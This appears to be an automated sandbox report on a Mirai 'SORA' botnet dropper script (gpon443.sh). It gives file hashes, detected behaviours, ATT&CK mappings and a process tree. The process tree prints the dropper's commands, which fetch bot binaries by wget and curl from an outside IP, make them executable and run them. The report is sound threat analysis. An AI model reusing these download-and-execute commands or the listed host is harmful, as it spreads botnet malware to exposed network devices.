mirai | d7a78f3ff9cd3bbb0d640e593767bf0be713023537743676d4297e0f5aa5f87e

Analysis

max time kernel
40s
max time network
44s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/04/2025, 09:22

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General

Target

gpon443.sh
Size

2KB
MD5

6744cd6370fc8925d67a9d5de8b6d122
SHA1

3e0fd96625b156bd1049739c814695e1bfc81574
SHA256

d7a78f3ff9cd3bbb0d640e593767bf0be713023537743676d4297e0f5aa5f87e
SHA512

591fdbf6b925a1aa1578248487ed70092601cb1753c12ee87316d4344401a6dde5026df6f26e7e1ab67dac84d1bb091f697e54343e93dd86ca14d3dcee2482c8

Score

10^/10

mirai sora antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
685	chmod
702	chmod
716	chmod
767	chmod
777	chmod
782	chmod
811	chmod
844	chmod
696	chmod
730	chmod
753	chmod
796	chmod
825	chmod
838	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	686	gpon443.sh
/tmp/robben	697	gpon443.sh
/tmp/robben	704	gpon443.sh
/tmp/robben	717	gpon443.sh
/tmp/robben	732	gpon443.sh
/tmp/robben	754	gpon443.sh
/tmp/robben	768	gpon443.sh
/tmp/robben	778	gpon443.sh
/tmp/robben	783	gpon443.sh
/tmp/robben	798	gpon443.sh
/tmp/robben	812	gpon443.sh
/tmp/robben	826	gpon443.sh
/tmp/robben	839	gpon443.sh
/tmp/robben	845	gpon443.sh

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-7.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	14n44hjn5imnfgm2i3	798	robben

Checks CPU configuration 1 TTPs 14 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 30 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	robben
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
695	cat
689	wget
693	curl

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.arm7	wget
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.sh4	wget
File opened for modification	/tmp/sora.sh4	curl
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.i686	wget
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.m68k	wget
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.ppc440fp	curl
File opened for modification	/tmp/robben	gpon443.sh
File opened for modification	/tmp/sora.x86_64	wget
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.arm4	curl

/tmp/gpon443.sh
/tmp/gpon443.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:658
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:662
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:674
- /bin/cat
  cat sora.x86
  2⤵
  PID:684
- /bin/chmod
  chmod +x gpon443.sh robben sora.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:686
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:689
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:693
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:695
- /bin/chmod
  chmod +x gpon443.sh robben sora.mips sora.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:697
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.x86_64
  2⤵
  - Writes file to tmp directory
  PID:699
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:700
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:701
- /bin/chmod
  chmod +x gpon443.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:704
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.i468
  2⤵
  PID:707
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/cat
  cat sora.i468
  2⤵
  PID:715
- /bin/chmod
  chmod +x gpon443.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:717
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.i686
  2⤵
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:723
- /bin/cat
  cat sora.i686
  2⤵
  PID:729
- /bin/chmod
  chmod +x gpon443.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:732
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:734
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:751
- /bin/chmod
  chmod +x gpon443.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:754
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm4
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/cat
  cat sora.arm4
  2⤵
  PID:766
- /bin/chmod
  chmod +x gpon443.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:768
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:769
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/cat
  cat sora.arm5
  2⤵
  PID:776
- /bin/chmod
  chmod +x gpon443.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:778
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:779
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/cat
  cat sora.arm6
  2⤵
  PID:781
- /bin/chmod
  chmod +x gpon443.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Reads runtime system information
  PID:783
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm7
  2⤵
  - Writes file to tmp directory
  PID:784
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/cat
  cat sora.arm7
  2⤵
  PID:795
- /bin/chmod
  chmod +x gpon443.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-aR32RC
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Changes its process name
  - Reads runtime system information
  PID:798
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:799
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/cat
  cat sora.ppc
  2⤵
  PID:810
- /bin/chmod
  chmod +x gpon443.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:812
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.ppc440fp
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.ppc440fp
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:824
- /bin/chmod
  chmod +x gpon443.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:826
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.m68k
  2⤵
  - Writes file to tmp directory
  PID:828
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/cat
  cat sora.m68k
  2⤵
  PID:837
- /bin/chmod
  chmod +x gpon443.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:839
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.sh4
  2⤵
  - Writes file to tmp directory
  PID:841
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/cat
  cat sora.sh4
  2⤵
  PID:843
- /bin/chmod
  chmod +x gpon443.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  PID:845

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/robben

Filesize
28KB

MD5
c665be249de8aacbf7f020710556850f

SHA1
7bf15fe8983c1a7304ecb626385fd8d656657750

SHA256
c70c7d6288ddd3de1e999fef3e15a4cb7d23656de44209d834ea08c97f26f2c3

SHA512
2125eacc929f9f6ab5232960153e3a3c2d554cd3f65fa7fb97324a275ce27034621999f2922aaa2a4beeeda75d09b2ff89aab6417e2f93329f56ce2529cd14d8

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/tmp/robben

Filesize
28KB

MD5
cb095025fabaf4935e7cde669f9b83cb

SHA1
f057ff497853eac9b47772ae58a6be561c16edf7

SHA256
d0a729eda4e98c132a68864f1feb9f2676840909d2584c4e8225ac058af1581f

SHA512
e4df6b3d5de8f2e09c31321931f471b2acf08f24457ac13c59aa24ede5e579db85c07cd447015ddfcf00be0d828277c03598bb732aad9e4928f83c54b7a18739

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/tmp/robben

Filesize
212B

MD5
83ab6cd9a67528bbc6f4f360cb7f8d83

SHA1
07e8f17209e0569aab39f062568ff0090d9b20d4

SHA256
3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

SHA512
171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

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/tmp/robben

Filesize
28KB

MD5
659a441fb5d03828d0e1dcdc8e94515c

SHA1
bf70af5209d2a89bd12c9a9d4b148ddd9b4af02f

SHA256
0e878390d0a19156525789562bacf861294b18a9308312e4a9c943d6e900ff44

SHA512
25d5d73027f64202338f40ae6ee71b12fa64db01e5b82afe2a3bb7abb415c19246b4368ddb1f98041a439155cadafd7eb7894e67eb31d84f205acc62b70d6cb8

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/tmp/robben

Filesize
64KB

MD5
d3114b8b81fe0dabf36ebb38e3f69ffe

SHA1
ef38c94966a0649c3797af3adb5287c887ef122a

SHA256
2d760402220357d43f57edbef3d9e8d9f0526a6c677b4cb77dd63eaceb6f67d1

SHA512
d43b02f9ca7a489270f552c1a89b3c6d36270fa06090a9cdfe64f506ac3d0eb344de161a25c639128ac66ac77573b389087f36939177f3cc189ec39a23addc72

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/tmp/sora.x86

Filesize
27KB

MD5
ed0134170c819d0a2c3526f5ed8ecad5

SHA1
af1324bb6e6554b496e5938185f74456b69e54e1

SHA256
cd67a9db1c069d8a9ee68a76c68d20c53659d319425ecabf8a0c5b193aeb6fe8

SHA512
98ebd8a6a42f7c3a324cacc429d27fdd5cecf9995971adefdef184e15926741263a19429fa2966a4ced0d00fa715a36028e23b8e7cf5a5e0e567296d34b56ab6

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads